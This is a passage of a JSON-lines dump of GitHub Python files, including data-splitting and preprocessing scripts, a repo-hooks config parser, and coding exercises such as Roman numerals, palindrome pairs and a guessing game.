os.walk(oxt_target):\n for file in files:\n name = os.path.join(root, file)\n dest.write(name, os.path.relpath(name, oxt_target))\n\n def generate_doc(self):\n self._run_command([\"doxygen\", \"Doxyfile\"], cwd=doc_dir)\n\n\ndef main():\n mbfs = MoreBasicFunctions()\n mbfs.prepare() # generate the files\n mbfs.build()\n mbfs.generate_doc()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jferard/MoreBasicFunctions","sub_path":"mbfs.py","file_name":"mbfs.py","file_ext":"py","file_size_in_byte":7212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10101534289","text":"import os\nimport re\nimport csv\nfrom random import sample\nfrom shutil import move\n\ndef scan_files(directory, prefix=None, postfix=None):\n files_list = []\n for root, sub_dirs, files in os.walk(directory):\n for special_file in files:\n if postfix:\n if special_file.endswith(postfix):\n files_list.append(os.path.join(root, special_file))\n elif prefix:\n if special_file.startswith(prefix):\n files_list.append(os.path.join(root, special_file))\n else:\n files_list.append(os.path.join(root, special_file))\n return files_list\n\ndef _split_test_from_train(path_train, factor, path_test):\n files = scan_files(path_train, postfix=\".xml\")\n tif_names = set()\n pattern1 = re.compile(\"201\\d-\\d\\d-\\d\\d.{0,1}\\d\\d_\\d\\d_\\d\\d\")\n pattern2 = re.compile(\"[a-zA-Z]*[0-9]{6,}\")\n for file in files:\n file = os.path.basename(file)\n m1 = pattern1.search(file)\n m2 = pattern2.search(file)\n if m1:\n tif_name = m1.group(0)\n elif m2:\n tif_name = m2.group(0)\n else:\n print(\"cannot match tif/kfb name\")\n continue\n tif_names.add(tif_name)\n names = list(tif_names)\n os.makedirs(path_test, exist_ok=True)\n selected = sample(names, int(len(names)*factor))\n for i in selected:\n for file in files:\n if i in file:\n move(file, path_test)\n move(os.path.splitext(file)[0]+\".jpg\", path_test)\n\ndef split_test_from_train(path_train, factor=0.1):\n path_test = os.path.join(os.path.dirname(path_train), \"test\")\n folders = os.listdir(path_train)\n for folder in folders:\n _split_test_from_train(os.path.join(path_train, folder), factor, os.path.join(path_test, folder))\n\n\ndef _split_valid_from_train(path_train, factor, path_valid):\n os.makedirs(path_valid, exist_ok=True)\n files = scan_files(path_train, postfix=\".xml\")\n to_valid = sample(files, int(len(files)*factor))\n for file in to_valid:\n move(file, path_valid)\n move(os.path.splitext(file)[0]+\".jpg\", path_valid)\n\ndef split_valid_from_train(path_train, factor=0.1):\n path_valid = os.path.join(os.path.dirname(path_train), \"valid\")\n folders = os.listdir(path_train)\n for folder in folders:\n _split_valid_from_train(os.path.join(path_train, folder), factor, os.path.join(path_valid, folder))\n\n\nif __name__ == \"__main__\":\n path_train = \"/home/tsimage/tct_data_for_darknet/train\"\n # split_test_from_train(path_train)\n split_valid_from_train(path_train)","repo_name":"liyu10000/tct","sub_path":"darknet/cutting_v1/select_separate.py","file_name":"select_separate.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"29"} +{"seq_id":"31789734685","text":"from models.tokenizer import BertTokenizerWithHLAns\nimport pytest\n\n\n@pytest.fixture(scope=\"module\")\ndef bert_base_vocab():\n toks = BertTokenizerWithHLAns.from_pretrained(\"bert-base-uncased\")\n vocab = toks.vocab\n return vocab\n\n\n@pytest.mark.parametrize(\n \"model_names\", [\n \"bert-tiny-uncased\",\n \"bert-mini-uncased\",\n \"bert-small-uncased\",\n \"bert-medium-uncased\",\n ]\n)\ndef test_bert_tokenzier_vocabs(bert_base_vocab, model_names):\n tokenizer = BertTokenizerWithHLAns.from_pretrained(model_names)\n vocab = tokenizer.vocab\n # check key equals\n bert_base_vocab == vocab\n\n # check value equals\n for k in bert_base_vocab.keys():\n assert vocab[k] == bert_base_vocab[k]\n","repo_name":"chris4540/StudyMaskedLMForQG","sub_path":"src/tests/tokenizer/test_vocabs.py","file_name":"test_vocabs.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"3815919054","text":"# Roman numerals to integer\n\n\nclass Solution:\n def romanToInt(self, s: str) -> int:\n roman = {'I': 1, 'V': 5, 'X': 10, 'L': 50,\n 'C': 100, 'D': 500, 'M': 1000}\n num = 0\n for i in range(len(s)):\n if i > 0 and roman[s[i]] > roman[s[i-1]]:\n num += roman[s[i]] - 2 * roman[s[i-1]]\n else:\n num += roman[s[i]]\n return num\n\n\nif __name__ == \"__main__\":\n print(Solution().romanToInt(\"MCMXCIV\"))\n","repo_name":"M4rshe1/PySL","sub_path":"LeetCode/13_roman_to_integer.py","file_name":"13_roman_to_integer.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9725031295","text":"import os\nimport argparse\nfrom multiprocessing import cpu_count\nfrom utils.wiki import extract_english, construct_graph\nfrom utils.grounding import create_matcher_patterns, ground, ski_ground\nfrom utils.graph import generate_adj_data_from_grounded_concepts__use_LM, \\\n ski_generate_adj_data_from_grounded_concepts__use_LM, \\\n generate_entity_features\n\n\ninput_paths = {\n 'wiki': {\n 'csv': 'data/WikiKG90Mv2Dataset',\n },\n 'docred': {\n 'annotated-train': \"./data/DocRED/train_annotated.json\",\n 'distant-train': \"./data/DocRED/train_distant.json\",\n 'dev': './data/DocRED/dev.json',\n 'test': './data/DocRED/test.json'\n }\n}\n\n\noutput_paths = {\n 'wiki': {\n 'csv': './data/wiki/wiki.en.tsv',\n 'vocab': './data/wiki/entities.txt',\n 'relation': './data/wiki/relations.txt',\n 'reduced-relation': './data/wiki/reduced_relations.txt',\n 'patterns': './data/wiki/matcher_patterns.json',\n 'unpruned-graph': './data/wiki/wiki.en.unpruned.graph',\n 'pruned-graph': './data/wiki/wiki.en.pruned.graph',\n 'reduced-unpruned-graph': './data/wiki/wiki.en.reduced.unpruned.graph',\n 'reduced-pruned-graph': './data/wiki/wiki.en.reduced.pruned.graph',\n 'entity-feature': './data/wiki/entity.npy'\n },\n 'docred': {\n 'grounded': {\n 'annotated-train': './data/wiki/train_annotated.grounded.jsonl',\n 'dev': './data/wiki/dev.grounded.jsonl',\n 'test': './data/wiki/test.grounded.jsonl',\n },\n 'graph': {\n 'adj-annotated-train': './data/wiki/graph/train_annotated.graph.adj.pk',\n 'adj-dev': './data/wiki/graph/dev.graph.adj.pk',\n 'adj-test': './data/wiki/graph/test.graph.adj.pk',\n 'reduced-adj-annotated-train': './data/wiki/graph/reduced_train_annotated.graph.adj.pk',\n 'reduced-adj-dev': './data/wiki/graph/reduced_dev.graph.adj.pk',\n 'reduced-adj-test': './data/wiki/graph/reduced_test.graph.adj.pk',\n },\n }\n}\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--run', default=['wiki'], choices=['wiki'], nargs='+')\n parser.add_argument('--path_prune_threshold', type=float, default=0.12, help='threshold for pruning paths')\n parser.add_argument('--max_node_num', type=int, default=200, help='maximum number of nodes per graph')\n parser.add_argument('-p', '--nprocs', type=int, default=cpu_count(), help='number of processes to use')\n parser.add_argument('--seed', type=int, default=0, help='random seed')\n parser.add_argument('--debug', action='store_true', help='enable debug mode')\n\n args = parser.parse_args()\n if args.debug:\n raise NotImplementedError()\n\n routines = {\n 'wiki': [\n # {'func': extract_english, 'args': (input_paths[\"wiki\"][\"csv\"],\n # output_paths['wiki']['csv'], output_paths['wiki']['vocab'],\n # output_paths['wiki']['relation'])},\n # {'func': construct_graph, 'args': (output_paths['wiki']['csv'], output_paths['wiki']['vocab'],\n # output_paths['wiki']['relation'],\n # output_paths['wiki']['unpruned-graph'], False, False, None)},\n # {'func': construct_graph, 'args': (output_paths['wiki']['csv'], output_paths['wiki']['vocab'],\n # output_paths['wiki']['relation'],\n # output_paths['wiki']['pruned-graph'], True, False, None)},\n # {'func': construct_graph, 'args': (output_paths['wiki']['csv'], output_paths['wiki']['vocab'],\n # output_paths['wiki']['relation'],\n # output_paths['wiki']['reduced-unpruned-graph'], False, True,\n # output_paths['wiki']['reduced-relation'])},\n # {'func': construct_graph, 'args': (output_paths['wiki']['csv'], output_paths['wiki']['vocab'],\n # output_paths['wiki']['relation'],\n # output_paths['wiki']['reduced-pruned-graph'], True, True,\n # output_paths['wiki']['reduced-relation'])},\n # {'func': create_matcher_patterns,\n # 'args': (output_paths['wiki']['vocab'], output_paths['wiki']['patterns'])},\n # {'func': ski_ground(input_paths[\"docred\"][\"annotated-train\"], output_paths['wiki']['vocab'],\n # output_paths['docred']['grounded']['annotated-train'], args.nprocs)},\n # {'func': ski_ground(input_paths[\"docred\"][\"dev\"], output_paths['wiki']['vocab'],\n # output_paths['docred']['grounded']['dev'], args.nprocs)},\n # {'func': ski_ground(input_paths[\"docred\"][\"test\"], output_paths['wiki']['vocab'],\n # output_paths['docred']['grounded']['test'], args.nprocs)},\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['annotated-train'], output_paths['wiki']['pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['relation'],\n # output_paths['docred']['graph']['adj-annotated-train'], args.nprocs)},\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['dev'], output_paths['wiki']['pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['relation'],\n # output_paths['docred']['graph']['adj-dev'], args.nprocs)},\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['test'], output_paths['wiki']['pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['relation'],\n # output_paths['docred']['graph']['adj-test'], args.nprocs)}\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['annotated-train'], output_paths['wiki']['reduced-pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['reduced-relation'],\n # output_paths['docred']['graph']['reduced-adj-annotated-train'], args.nprocs)},\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['dev'], output_paths['wiki']['reduced-pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['reduced-relation'],\n # output_paths['docred']['graph']['reduced-adj-dev'], args.nprocs)},\n # {'func': ski_generate_adj_data_from_grounded_concepts__use_LM, 'args': (\n # output_paths['docred']['grounded']['test'], output_paths['wiki']['reduced-pruned-graph'],\n # output_paths['wiki']['vocab'], output_paths['wiki']['reduced-relation'],\n # output_paths['docred']['graph']['reduced-adj-test'], args.nprocs)},\n {'func': generate_entity_features, 'args': (output_paths[\"wiki\"]['vocab'],\n output_paths[\"wiki\"]['relation'],\n output_paths[\"wiki\"]['entity-feature'])}\n ]\n }\n\n for rt in args.run:\n for rt_dic in routines[rt]:\n rt_dic['func'](*rt_dic['args'])\n\n print('Successfully run {}'.format(' '.join(args.run)))\n\n\nif __name__ == '__main__':\n main()\n # pass\n","repo_name":"nguyenvanhoang7398/ski","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"101757956","text":"from __future__ import print_function\n\nimport ConfigParser\nimport functools\nimport os\nimport shlex\nimport sys\n\n_path = os.path.realpath(__file__ + '/../..')\nif sys.path[0] != _path:\n sys.path.insert(0, _path)\ndel _path\n\nimport rh.hooks\nimport rh.shell\n\n\nclass Error(Exception):\n \"\"\"Base exception class.\"\"\"\n\n\nclass ValidationError(Error):\n \"\"\"Config file has unknown sections/keys or other values.\"\"\"\n\n\nclass RawConfigParser(ConfigParser.RawConfigParser):\n \"\"\"Like RawConfigParser but with some default helpers.\"\"\"\n\n @staticmethod\n def _check_args(name, cnt_min, cnt_max, args):\n cnt = len(args)\n if cnt not in (0, cnt_max - cnt_min):\n raise TypeError('%s() takes %i or %i arguments (got %i)' %\n (name, cnt_min, cnt_max, cnt,))\n return cnt\n\n def options(self, section, *args):\n \"\"\"Return the options in |section| (with default |args|).\n\n Args:\n section: The section to look up.\n args: What to return if |section| does not exist.\n \"\"\"\n cnt = self._check_args('options', 2, 3, args)\n try:\n return ConfigParser.RawConfigParser.options(self, section)\n except ConfigParser.NoSectionError:\n if cnt == 1:\n return args[0]\n raise\n\n def get(self, section, option, *args):\n \"\"\"Return the value for |option| in |section| (with default |args|).\"\"\"\n cnt = self._check_args('get', 3, 4, args)\n try:\n return ConfigParser.RawConfigParser.get(self, section, option)\n except (ConfigParser.NoSectionError, ConfigParser.NoOptionError):\n if cnt == 1:\n return args[0]\n raise\n\n def items(self, section, *args):\n \"\"\"Return a list of (key, value) tuples for the options in |section|.\"\"\"\n cnt = self._check_args('items', 2, 3, args)\n try:\n return ConfigParser.RawConfigParser.items(self, section)\n except ConfigParser.NoSectionError:\n if cnt == 1:\n return args[0]\n raise\n\n\nclass PreSubmitConfig(object):\n \"\"\"Config file used for per-project `repo upload` hooks.\"\"\"\n\n FILENAME = 'PREUPLOAD.cfg'\n GLOBAL_FILENAME = 'GLOBAL-PREUPLOAD.cfg'\n\n CUSTOM_HOOKS_SECTION = 'Hook Scripts'\n BUILTIN_HOOKS_SECTION = 'Builtin Hooks'\n BUILTIN_HOOKS_OPTIONS_SECTION = 'Builtin Hooks Options'\n TOOL_PATHS_SECTION = 'Tool Paths'\n OPTIONS_SECTION = 'Options'\n\n OPTION_IGNORE_MERGED_COMMITS = 'ignore_merged_commits'\n VALID_OPTIONS = (OPTION_IGNORE_MERGED_COMMITS,)\n\n def __init__(self, paths=('',), global_paths=()):\n \"\"\"Initialize.\n\n All the config files found will be merged together in order.\n\n Args:\n paths: The directories to look for config files.\n global_paths: The directories to look for global config files.\n \"\"\"\n config = RawConfigParser()\n\n def _search(paths, filename):\n for path in paths:\n path = os.path.join(path, filename)\n if os.path.exists(path):\n self.paths.append(path)\n try:\n config.read(path)\n except ConfigParser.ParsingError as e:\n raise ValidationError('%s: %s' % (path, e))\n\n self.paths = []\n _search(global_paths, self.GLOBAL_FILENAME)\n _search(paths, self.FILENAME)\n\n self.config = config\n\n self._validate()\n\n @property\n def custom_hooks(self):\n \"\"\"List of custom hooks to run (their keys/names).\"\"\"\n return self.config.options(self.CUSTOM_HOOKS_SECTION, [])\n\n def custom_hook(self, hook):\n \"\"\"The command to execute for |hook|.\"\"\"\n return shlex.split(self.config.get(self.CUSTOM_HOOKS_SECTION, hook, ''))\n\n @property\n def builtin_hooks(self):\n \"\"\"List of all enabled builtin hooks (their keys/names).\"\"\"\n return [k for k, v in self.config.items(self.BUILTIN_HOOKS_SECTION, ())\n if rh.shell.boolean_shell_value(v, None)]\n\n def builtin_hook_option(self, hook):\n \"\"\"The options to pass to |hook|.\"\"\"\n return shlex.split(self.config.get(self.BUILTIN_HOOKS_OPTIONS_SECTION,\n hook, ''))\n\n @property\n def tool_paths(self):\n \"\"\"List of all tool paths.\"\"\"\n return dict(self.config.items(self.TOOL_PATHS_SECTION, ()))\n\n def callable_hooks(self):\n \"\"\"Yield a name and callback for each hook to be executed.\"\"\"\n for hook in self.custom_hooks:\n options = rh.hooks.HookOptions(hook,\n self.custom_hook(hook),\n self.tool_paths)\n yield (hook, functools.partial(rh.hooks.check_custom,\n options=options))\n\n for hook in self.builtin_hooks:\n options = rh.hooks.HookOptions(hook,\n self.builtin_hook_option(hook),\n self.tool_paths)\n yield (hook, functools.partial(rh.hooks.BUILTIN_HOOKS[hook],\n options=options))\n\n @property\n def ignore_merged_commits(self):\n \"\"\"Whether to skip hooks for merged commits.\"\"\"\n return rh.shell.boolean_shell_value(\n self.config.get(self.OPTIONS_SECTION,\n self.OPTION_IGNORE_MERGED_COMMITS, None),\n False)\n\n def _validate(self):\n \"\"\"Run consistency checks on the config settings.\"\"\"\n config = self.config\n\n # Reject unknown sections.\n valid_sections = set((\n self.CUSTOM_HOOKS_SECTION,\n self.BUILTIN_HOOKS_SECTION,\n self.BUILTIN_HOOKS_OPTIONS_SECTION,\n self.TOOL_PATHS_SECTION,\n self.OPTIONS_SECTION,\n ))\n bad_sections = set(config.sections()) - valid_sections\n if bad_sections:\n raise ValidationError('%s: unknown sections: %s' %\n (self.paths, bad_sections))\n\n # Reject blank custom hooks.\n for hook in self.custom_hooks:\n if not config.get(self.CUSTOM_HOOKS_SECTION, hook):\n raise ValidationError('%s: custom hook \"%s\" cannot be blank' %\n (self.paths, hook))\n\n # Reject unknown builtin hooks.\n valid_builtin_hooks = set(rh.hooks.BUILTIN_HOOKS.keys())\n if config.has_section(self.BUILTIN_HOOKS_SECTION):\n hooks = set(config.options(self.BUILTIN_HOOKS_SECTION))\n bad_hooks = hooks - valid_builtin_hooks\n if bad_hooks:\n raise ValidationError('%s: unknown builtin hooks: %s' %\n (self.paths, bad_hooks))\n elif config.has_section(self.BUILTIN_HOOKS_OPTIONS_SECTION):\n raise ValidationError('Builtin hook options specified, but missing '\n 'builtin hook settings')\n\n if config.has_section(self.BUILTIN_HOOKS_OPTIONS_SECTION):\n hooks = set(config.options(self.BUILTIN_HOOKS_OPTIONS_SECTION))\n bad_hooks = hooks - valid_builtin_hooks\n if bad_hooks:\n raise ValidationError('%s: unknown builtin hook options: %s' %\n (self.paths, bad_hooks))\n\n # Verify hooks are valid shell strings.\n for hook in self.custom_hooks:\n try:\n self.custom_hook(hook)\n except ValueError as e:\n raise ValidationError('%s: hook \"%s\" command line is invalid: '\n '%s' % (self.paths, hook, e))\n\n # Verify hook options are valid shell strings.\n for hook in self.builtin_hooks:\n try:\n self.builtin_hook_option(hook)\n except ValueError as e:\n raise ValidationError('%s: hook options \"%s\" are invalid: %s' %\n (self.paths, hook, e))\n\n # Reject unknown tools.\n valid_tools = set(rh.hooks.TOOL_PATHS.keys())\n if config.has_section(self.TOOL_PATHS_SECTION):\n tools = set(config.options(self.TOOL_PATHS_SECTION))\n bad_tools = tools - valid_tools\n if bad_tools:\n raise ValidationError('%s: unknown tools: %s' %\n (self.paths, bad_tools))\n\n # Reject unknown options.\n valid_options = set(self.VALID_OPTIONS)\n if config.has_section(self.OPTIONS_SECTION):\n options = set(config.options(self.OPTIONS_SECTION))\n bad_options = options - valid_options\n if bad_options:\n raise ValidationError('%s: unknown options: %s' %\n (self.paths, bad_options))\n","repo_name":"khadas/android_tools_repohooks","sub_path":"rh/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"27302962561","text":"import sys\nimport re\n\n\"\"\"Baby Names exercise\n\nDefine the extract_names() function below and change main()\nto call it.\n\nFor writing regex, it's nice to include a copy of the target\ntext for inspiration.\n\nHere's what the html looks like in the baby.html files:\n...\n

Popularity in 1990

\n....\n1MichaelJessica\n2ChristopherAshley\n3MatthewBrittany\n...\n\nSuggested milestones for incremental development:\n -Extract the year and print it\n -Extract the names and rank numbers and just print them\n -Get the names data into a dict and print it\n -Build the [year, 'name rank', ... ] list and print it\n -Fix main() to use the extract_names list\n\"\"\"\n\ndef extract_names(filename):\n \"\"\"\n Given a file name for baby.html, returns a list starting with the year string\n followed by the name-rank strings in alphabetical order.\n ['2006', 'Aaliyah 91', Aaron 57', 'Abagail 895', ' ...]\n \"\"\"\n with open(filename) as file:\n year = None\n find_year_re = re.compile(r'Popularity in (\\d+)')\n find_name_re = re.compile(r'(\\d+)([^<]+)([^<]+)')\n result = []\n names_rank = {}\n for line in file:\n if year:\n match = find_name_re.search(line)\n if match:\n rank = match.group(1)\n boy_name = match.group(2)\n girl_name = match.group(3)\n if not boy_name in names_rank:\n names_rank[boy_name] = rank\n if not girl_name in names_rank:\n names_rank[girl_name] = rank\n else:\n match = find_year_re.search(line)\n if match:\n year = match.group(1)\n result.append(year)\n for name in sorted(names_rank):\n result.append(\"{} {}\".format(name, names_rank[name]))\n return result\n\n\ndef main():\n # This command-line parsing code is provided.\n # Make a list of command line arguments, omitting the [0] element\n # which is the script itself.\n args = sys.argv[1:]\n\n if not args:\n print('usage: [--summaryfile] file [file ...]')\n sys.exit(1)\n\n # Notice the summary flag and remove it from args if it is present.\n summary = False\n if args[0] == '--summaryfile':\n summary = True\n del args[0]\n\n # For each filename, get the names, then either print the text output\n # or write it to a summary file\n output_file = open('summary.txt','w') if summary else sys.stdout\n for filename in args:\n for entry in extract_names(filename):\n output_file.write('{}\\n'.format(entry))\n \nif __name__ == '__main__':\n main()\n","repo_name":"chesshacker/google-python-exercises","sub_path":"babynames/babynames.py","file_name":"babynames.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17574693234","text":"products = {}\n\ncommand = input()\nwhile command != \"buy\":\n name, price, quantity = command.split()\n price = float(price)\n quantity = int(quantity)\n if name not in products:\n products[name] = {\"price\": price, \"quantity\": quantity}\n else:\n products[name] = {\"price\": price, \"quantity\": quantity+products[name][\"quantity\"]}\n command = input()\n\nfor key, value in products.items():\n total_price = value[\"price\"]*value[\"quantity\"]\n print(f\"{key} -> {total_price:.2f}\")","repo_name":"nikozhuharov/Python-Fundamentals","sub_path":"Dictionaries - Exercise/05. Orders.py","file_name":"05. Orders.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73130682317","text":"def titulo(titulo):\n print(10*'=-=')\n print(f'{titulo:^30}')\n print(10*'=-=')\n\n\ndef area(l, c):\n area = l * c\n print(f'A área de um terreno {l} X {c} é de {area}m².')\n\ntitulo('Controle de Terrenos')\nlargura = float(input('LARGURA (m): '))\ncomprimento = float(input('COMPRIMENTO (m): '))\narea(largura, comprimento)\n","repo_name":"FilippeNatan/curso-em-video-python","sub_path":"ex096.py","file_name":"ex096.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11650358443","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# encoding: utf-8\n\n'''\n# @Time : 2020/12/26 2:45 上午\n# @Author : yantianpeng\n# @Site : \n# @File : test_data_handler.py\n# @Software: PyCharm\n'''\nimport random\nimport re\ndef get_phone():\n\n #规则 第一位是1 第二为是 358 任意一个 后面9为是0到9\n phone = ['1',random.choice('358')]\n for i in range(9):\n phone.append(random.choice('012356789'));\n return ''.join(phone);\n\n\ndef replace_args(fs,flag ='#',**kwargs):\n \"\"\"\n\n :param fs:\n :param kwargs:\n :return:\n \"\"\"\n for args ,values in kwargs.items():\n fs = fs.replace(\"{0}{1}{0}\".format(flag,args),str(values));\n return fs;\n\n\ndef replace_args_re(s,cls):\n \"\"\"\n 正则表达式动态替换参数\n :param s:\n :param cls:\n :return:\n \"\"\"\n args = re.findall('#(.*?)#',s);\n for arg in args:\n value = getattr(cls,arg,None);\n if value:\n s = s.replace('#{}#'.format(arg),str(value));\n return s;\n\n\ndef extract_data(map,cls,json_res_str):\n \"\"\"\n 提取需要存储的数据\n :param map:\n :param cls:\n :param json_res_str:\n :return:\n \"\"\"\n #排除到干扰字符\n\n json_res_str = json_res_str.replace(' ','').replace('\\n', '')\n # json_res_str = json_res_str.replace(' ','').repalce('\\n','');\n for agr,key in map.items():\n res_strs = [\n r'\"{}\":\"(.*?)\"'.format(key), #字符串参数\n r'\"{}\":\"(\\d+?\\.\\d+?),\"'.format(agr),#浮点型参数,放在前面\n r'\"{}\":(\\d+?),'.format(key)#数字参数\n ]\n for res_str in res_strs:\n value = re.findall(res_str,json_res_str);\n if value:\n setattr(cls,agr,value[0]);\n break;\n\n\n\n\nif __name__ == '__main__':\n # # print(get_phone());\n # s='{\\n \"mobile_phone\":\"#phone#\",\\n \"pwd\":\"#pwd#\",\\n \"type\":0,\\n \"reg_name\":\"yujie\"\\n}';\n # phone=\"13858389567\";\n # pwd=\"12345678\";\n # s = replace_args(s,flag=\"#\",phone=phone,pwd=pwd)\n # print(s)\n # pass;\n # class A:\n # phone=100;\n # pwd='123456'\n #\n # s = replace_args_re(s,A)\n # print(s)\n\n class A:\n id =100;\n token=200;\n s='{\"member_id\":\"id\",\"token\":\"token\"}';\n s_1='{\"member_id\":100,\"token\":200}'\n extract_data(s,A.__class__,s_1);","repo_name":"yantianpeng123/python","sub_path":"beidouxingauto_project/common/test_data_handler.py","file_name":"test_data_handler.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28941401214","text":"import pyttsx3\r\n #download by using:- pip install pyttsx3\r\nimport datetime\r\n #inbuilt library\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\n'''print(voices[1].id)'''\r\nengine.setProperty('voice',voices[0].id)\r\n#you can convert 0 to 1 or more to change voice\r\n\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n if hour>=3 and hour<12:\r\n speak(\"Good Morning sir\")\r\n \r\n elif hour>=12 and hour<17:\r\n speak(\"Good Afternoon sir\")\r\n\r\n elif hour>=17 and hour<20:\r\n speak(\"Good Evening sir\") \r\n else :\r\n speak(\"Good night sir\") \r\n #you can change sir to ma'am if you are female\r\nif __name__ == \"__main__\":\r\n wishMe()","repo_name":"HARDCORECODINGX/GREETING-AI","sub_path":"GREETING PROJECT.py","file_name":"GREETING PROJECT.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36141810293","text":"'''\nkeys:\nSolutions:\nSimilar:\nT:\nS:\n'''\nfrom typing import List\n\n# edge case: empty string\n\nclass Solution:\n # check prefix and suffix\n # T: O(n * w^2), n as length of list and w as average word length\n # https://leetcode.com/problems/palindrome-pairs/discuss/79209/Accepted-Python-Solution-With-Explanation\n def palindromePairs2(self, words: List[str]) -> List[List[int]]:\n hashmap = {word: idx for idx, word in enumerate(words)}\n res = []\n for word, idx in hashmap.items():\n n = len(word)\n for j in range(n+1): # idx to split the word\n prefix = word[:j]\n suffix = word[j:]\n if self.isPal(prefix): # then check the suffix\n revSuffix = suffix[::-1]\n # if revSuffix == word then the word itself is a palindrome.\n # We want to skip this case because we know the list of words are unique,\n # otherwise we would double count the number palindrome pairs, e.g., [3, 3] for \"s \"\n if revSuffix != word and revSuffix in hashmap:\n res.append([hashmap[revSuffix], idx]) # revSuffix + prefix + suffix -> revSuffix + word\n if j != len(word) and self.isPal(suffix): # j == len(word) is the same case as j == 0\n revPrefix = prefix[::-1]\n # # dont need revPrefix != word since j != len(word)\n if revPrefix != word and revPrefix in hashmap:\n res.append([idx, hashmap[revPrefix]]) # prefix + suffix + revPrefix -> word + revPrefix\n return res\n\n\n\n\n\n # brute force, T: O(n^2 * k), n as number of words, k as length of longest word\n # S: O(n^2 + k), worst case n*(n-1) owrds in the output\n # reversed copy of the combined words: 2*k * 2 -> O(k)\n def palindromePairs1(self, words: List[str]) -> List[List[int]]:\n pairs = []\n for i, word1 in enumerate(words):\n for j, word2 in enumerate(words):\n if i == j:\n continue\n combined = word1 + word2\n if combined == combined[::-1]:\n pairs.append([i, j])\n return pairs\n\n\n\n # my version, TLE\n def palindromePairs(self, words: List[str]) -> List[List[int]]:\n if not words:\n return []\n n = len(words)\n memo = {}\n res = []\n for i in range(n):\n for j in range(i+1, n):\n word1 = words[i]+words[j]\n word2 = words[j]+words[i]\n if word1 not in memo:\n if self.isPal(word1):\n memo[word1] = True\n res.append([i, j])\n else:\n memo[word1] = False\n else:\n if memo[word1] and [i, j] not in res:\n res.append([i, j])\n\n if word2 not in memo:\n if self.isPal(word2):\n memo[word2] = True\n res.append([j, i])\n else:\n memo[word2] = False\n else:\n if memo[word2] and [j, i] not in res:\n res.append([j, i])\n return res\n\n def isPal(self, s1):\n return s1 == s1[::-1]\n\nsol = Solution()\nprint (sol.palindromePairs2([\"abcd\",\"dcba\"]))\n","repo_name":"qinzhouhit/leetcode","sub_path":"336palindromePairs.py","file_name":"336palindromePairs.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38180529082","text":"import random\n\ndef jogar():\n print(\"*************************************\")\n print(\"* Bem vindo ao jogo de Adivinhação! *\")\n print(\"*************************************\")\n\n numero_secreto = random.randrange(1, 101)\n pontos = 1000\n nivel = -1\n\n while nivel < 1 or nivel > 3:\n print(\"Defina o nível de dificuldade\")\n nivel = int(input(\"(1) Fácil (2) Médio (3) Difícil\\n>\"))\n\n if nivel < 1 or nivel > 3:\n print(\"Você deve digitar um número entre 1 e 3\")\n\n if nivel == 1:\n total_de_tentativas = 20\n elif nivel == 2:\n total_de_tentativas = 10\n else:\n total_de_tentativas = 5\n\n for tentativa in range(1, total_de_tentativas + 1):\n print(\"Tentativa {} de {}\".format(tentativa, total_de_tentativas))\n chute = int(input(\"Digite um número entre 1 e 100: \"))\n\n if chute < 1 or chute > 100:\n print(\"Você digitou {}, você deve digitar um número entre 1 e 100\".format(chute))\n continue\n else:\n print(\"Você digitou: \", chute)\n\n if numero_secreto > chute:\n print(\"Você errou! O seu chute foi menor que o número secreto.\")\n elif numero_secreto < chute:\n print(\"Você errou! O seu chute foi maior que o número secreto.\")\n else:\n print(\"Você acertou! Sua pontuação foi: \", pontos)\n break\n pontos -= abs(chute - numero_secreto)\n\n\n print(\"Fim do jogo\")\n\nif __name__ == \"__main__\":\n 